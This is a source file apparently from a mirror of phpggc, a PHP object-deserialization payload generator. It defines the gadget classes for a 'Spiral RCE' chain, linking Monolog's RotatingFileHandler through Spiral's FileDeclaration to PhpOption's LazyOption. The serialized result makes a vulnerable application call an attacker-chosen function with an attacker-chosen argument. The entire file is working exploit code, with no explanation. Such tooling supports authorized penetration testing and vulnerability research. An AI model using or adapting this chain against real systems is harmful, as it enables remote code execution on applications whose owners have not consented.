Codebase list phpggc / e3d3474f-38c8-4c41-9e29-91cf7a58b626/upstream/0.20221219 gadgetchains / Spiral / RCE / 1 / gadgets.php
e3d3474f-38c8-4c41-9e29-91cf7a58b626/upstream/0.20221219

Tree @e3d3474f-38c8-4c41-9e29-91cf7a58b626/upstream/0.20221219 (Download .tar.gz)

gadgets.php @e3d3474f-38c8-4c41-9e29-91cf7a58b626/upstream/0.20221219raw · history · blame

<?php

namespace Monolog\Handler
{
    class RotatingFileHandler
    {
        protected $mustRotate;
        protected $filename;
        protected $filenameFormat;
        protected $dateFormat;

        function __construct($function,$param)
        {
            $this->dateFormat = "l";
            $this->mustRotate = true;
            $this->filename = "anything";
            $this->filenameFormat = new \Spiral\Reactor\FileDeclaration($function,$param);
        }
    }
}

namespace Spiral\Reactor
{
    class FileDeclaration
    {
        private $docComment;

        public function __construct($function,$parameter)
        {
            $this->docComment = new \PhpOption\LazyOption($function,$parameter);
        }
    }
}

namespace PhpOption
{
    class LazyOption
    {
        private $callback;
        private $arguments;

        public function __construct($function,$parameter)
        {
            $this->callback = $function;
            $this->arguments = [$parameter];
        }
    }
}